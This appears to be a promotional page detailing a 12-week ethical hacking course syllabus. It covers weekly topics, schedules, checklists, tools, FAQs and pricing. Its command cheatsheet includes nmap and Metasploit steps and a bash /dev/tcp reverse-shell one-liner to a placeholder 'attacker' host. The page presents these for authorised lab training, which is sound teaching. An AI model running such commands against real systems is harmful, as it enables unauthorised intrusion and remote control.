Ethical Hacking · Syllabus Deep Dive
Uncodemy Ethical Hacking Course Syllabus Explained in Detail
Quick summary — ethical hacking syllabus at a glance
Uncodemy's ethical hacking course is a 12-week, hands-on programme across three modules — foundations, offensive security, and career prep. You'll learn networking, Linux, recon, exploitation, web security, and capstone projects on real lab environments, not just theory.
In this guide you will learn:
- Module 1: Foundations — networking, Linux, and reconnaissance.
- Module 2: Offensive Security — scanning, exploitation, web security, and privilege escalation.
- Module 3: Projects & Career — capstone, reporting, interviews, and placement.
- Tools & cheatsheets — the commands and tools you'll actually use.
- Support & career outcomes — how Uncodemy helps you get certified and hired.
SECTION 01Module 1: Foundations (networking, Linux, recon)
The first module builds your foundation. You cannot hack what you don't understand — so the course starts with networking, Linux, and information gathering. Here's the week-by-week breakdown:
| Week | Focus | Daily Actions | Weekly Goal |
|---|---|---|---|
| Week 1 | Networking fundamentals | OSI, TCP/IP, ports, DNS, HTTP/HTTPS | Map a network 5 times |
| Week 2 | Linux for hackers | Shell, permissions, services, systemd | Complete 30 Linux challenges |
| Week 3 | Reconnaissance | OSINT, whois, DNS recon, Google dorking | Recon 5 targets |
| Week 4 | Scanning & enumeration | Nmap, Netcat, dirb, gobuster | Scan 5 test targets |
Module 1 — Daily Schedule:
7:00 AM — Wake up, exercise (30 min)
8:00 AM — Review the day's learning goals
9:00 AM — Live class / recorded lecture (2 hours)
- Week 1: networking fundamentals
- Week 2: Linux for hackers
- Week 3: reconnaissance
- Week 4: scanning & enumeration
12:00 PM — Lunch break
1:00 PM — Hands-on lab (2 hours)
- Map networks, run recon, scan targets in safe labs
3:00 PM — Mentor check-in / doubt session (30 min)
4:00 PM — Assignment work (1 hour)
5:00 PM — Review notes, plan tomorrow
6:00 PM — Break / exercise
8:00 PM — Read security blogs (30 min)
10:00 PM — Wind down
Week 1 Review:
□ Do I understand OSI and TCP/IP models?
□ Can I list common ports and services?
□ Have I mapped a network 5 times?
Week 2 Review:
□ Am I comfortable with Linux commands?
□ Do I understand file permissions and services?
□ Have I solved 30 Linux challenges?
Week 3 Review:
□ Can I do WHOIS and DNS recon?
□ Do I know Google dorking basics?
□ Have I reconned 5 targets?
Week 4 Review:
□ Can I run an Nmap scan?
□ Can I enumerate directories?
□ Have I scanned 5 test targets?
SECTION 02Module 2: Offensive Security (scanning, exploitation, web)
The second module is the offensive core — you'll learn to exploit real vulnerabilities in safe, isolated labs. Here's how the weeks break down:
| Week | Focus | Daily Actions | Weekly Goal |
|---|---|---|---|
| Week 5 | Vulnerability analysis | Nessus / OpenVAS, CVSS, false positives | Vulnerability scan 3 labs |
| Week 6 | Exploitation | Metasploit, manual exploits, shells | Compromise 3 lab targets |
| Week 7 | Web application security | OWASP Top 10, Burp Suite, SQLi, XSS | Find and exploit 5 web bugs |
| Week 8 | Privilege escalation & post-exploitation | LinPEAS, Windows PE, pivoting | Escalate in 3 labs |
Module 2 — Daily Schedule:
7:00 AM — Wake up, exercise (30 min)
8:00 AM — Review the day's learning goals
9:00 AM — Live class / recorded lecture (2 hours)
- Week 5: vulnerability analysis
- Week 6: exploitation
- Week 7: web application security
- Week 8: privilege escalation & post-exploitation
12:00 PM — Lunch break
1:00 PM — Hands-on lab (2 hours)
- Run scans, use Metasploit, exploit web bugs in isolated labs
3:00 PM — Mentor check-in / doubt session (30 min)
4:00 PM — Assignment work (1 hour)
5:00 PM — Review notes, plan tomorrow
6:00 PM — Break / exercise
8:00 PM — Read security writeups (30 min)
10:00 PM — Wind down
Week 5 Review:
□ Can I run Nessus or OpenVAS?
□ Do I understand CVSS scores?
□ Have I scanned 3 lab environments?
Week 6 Review:
□ Can I use Metasploit to exploit a target?
□ Do I understand reverse shells?
□ Have I compromised 3 lab targets?
Week 7 Review:
□ Do I know the OWASP Top 10?
□ Can I test SQLi and XSS safely?
□ Have I found and exploited 5 web bugs?
Week 8 Review:
□ Can I spot privilege escalation paths?
□ Do I understand Windows and Linux PE basics?
□ Have I escalated in 3 labs?
SECTION 03Module 3: Projects, Reporting & Career
The final module is about turning your skills into a job — via a real capstone project, professional reporting, and interview prep. Here's how the weeks break down:
| Week | Focus | Daily Actions | Weekly Goal |
|---|---|---|---|
| Week 9 | Report writing | Exec summary, technical detail, remediation | Write 2 pentest reports |
| Week 10 | Capstone project | Full pentest on a lab range | Complete 1 capstone |
| Week 11 | Portfolio & interviews | Document projects, mock interviews | 5 mock interviews |
| Week 12 | Certification prep & placement | CEH / eJPT prep, resume, drives | Attend 3+ drives |
Module 3 — Daily Schedule:
7:00 AM — Wake up, exercise (30 min)
8:00 AM — Review the day's goals
9:00 AM — Learn / build (2 hours)
- Week 9: report writing
- Week 10: capstone project
- Week 11: portfolio & interviews
- Week 12: certification & placement
12:00 PM — Lunch break
1:00 PM — Hands-on build (2 hours)
3:00 PM — Mentor check-in / feedback (30 min)
4:00 PM — Applications & interview practice (1 hour)
5:00 PM — Review progress, plan tomorrow
6:00 PM — Break / exercise
8:00 PM — Read pentest writeups / blogs (30 min)
10:00 PM — Wind down
Week 9 Review:
□ Have I written 2 pentest reports?
□ Do they have exec summary + technical detail?
□ Are remediation steps clear?
Week 10 Review:
□ Is my capstone complete?
□ Is it documented with methodology and findings?
□ Is it on GitHub / portfolio?
Week 11 Review:
□ Have I done 5 mock interviews?
□ Can I explain my methodology clearly?
□ Can I discuss OWASP and MITRE ATT&CK?
Week 12 Review:
□ Am I ready for CEH / eJPT?
□ Have I applied to 20+ roles?
□ Have I attended placement drives?
SECTION 04Tools & command cheatsheet
Use these quick references daily in the labs:
Command cheatsheet — the basics you'll use daily:
# Recon
whois target.com
dig target.com
nslookup target.com
# Scanning
nmap -sV -sC target.com
nmap -p- target.com
nmap --script vuln target.com
# Web
gobuster dir -u http://target -w wordlist.txt
nikto -h http://target
burpsuite (GUI for intercepting)
# Exploitation
msfconsole
msf > use exploit/...
msf > set RHOSTS target
msf > run
# Reverse shell (one-liner example)
nc -lvnp 4444
bash -i >& /dev/tcp/attacker/4444 0>&1
# Post-exploitation
linpeas.sh
whoami
sudo -l
Tool overview — what each tool is for:
Kali Linux
- The offensive security OS used for every lab
Nmap
- Network scanning and service detection
Metasploit
- Exploitation framework for known CVEs
Burp Suite
- Web proxy and testing tool
OWASP ZAP
- Free alternative to Burp for web testing
Wireshark
- Packet capture and analysis
Hashcat / John
- Password cracking
Hydra
- Login brute-force tool (in labs only)
LinPEAS / WinPEAS
- Privilege escalation enumeration
Gobuster / Dirb
- Directory and file enumeration
Always use these tools in legal, isolated labs.
Never scan or exploit systems you don't own or have written
permission to test.
Weekly Learning Tracker (Ethical Hacking):
Week: _____
Topics covered:
1.
2.
3.
Labs completed: _____
Tools used: _____
Reports written: _____
What I learned:
1.
2.
What needs more practice:
1.
2.
Next week's focus:
_______________________________
SECTION 05Career support & accountability
Here's how Uncodemy helps you go from student to certified ethical hacker:
- Mentor check-ins — weekly 1:1 sessions with your mentor to review progress.
- Live labs — practice on isolated lab environments, never on real systems.
- Mock interviews — practice with security hiring managers from partner companies.
- Placement drives — attend exclusive drives with hiring partners.
- Certification prep — guidance for CEH, eJPT, and CompTIA Security+.
SECTION 06Interview Q&A — ethical hacking syllabus
Q1Do I need prior IT experience to enrol?
Not strictly, but basic comfort with computers and networking helps. Module 1 is designed to build these foundations from scratch.
Q2Is ethical hacking legal?
Yes — ethical hacking is done with permission, in isolated lab environments or under a signed scope. Never test systems you don't own or have written permission to test.
Q3Will this course prepare me for CEH or eJPT?
Yes — the syllabus covers the tools, concepts, and lab experience that align with CEH and eJPT exams. We also cover dedicated exam-prep sessions in Module 3.
Q4Do I need to buy my own hacking labs?
No. Uncodemy provides access to isolated lab environments for every student during the course — you don't need to buy lab infrastructure.
Q5What salary can I expect as an ethical hacker?
Junior pentesters and security analysts in India typically start at ₹4-7 LPA. Senior roles can go much higher, especially with certifications like OSCP or CISSP.
SECTION 07Test yourself — ethical hacking syllabus
Five questions. No sign-up.
0 / 5Pick an answer to see why it is right or wrong.
SECTION 08Frequently asked questions
What is the duration of the programme?
12 weeks across three modules — foundations, offensive security, and career prep. Flexible weekday and weekend batches available.
Do I need prior cybersecurity experience?
No. Module 1 is designed to build foundational knowledge in networking, Linux, and recon — no prior experience required.
Will I get a certificate?
Yes — an industry-recognised certificate on completion of the programme.
Which tools and platforms will I learn?
Kali Linux, Nmap, Metasploit, Burp Suite, OWASP ZAP, Wireshark, Hashcat, John the Ripper, and more — all in isolated labs.
Do you provide placement support?
Yes — resume rebuilds, mock interviews, and placement drives with hiring partners are all included.
SECTION 09Related reads
Classroom & online · Noida
Start your ethical hacking journey with Uncodemy
Our Ethical Hacking Training Course is built around real labs, real tools, and real projects — with placement support and certification prep.
₹24,500 · full programme- Complete 12-week syllabus
- Kali Linux, Metasploit, Burp Suite
- Live labs & capstone project
- Certification prep & placement support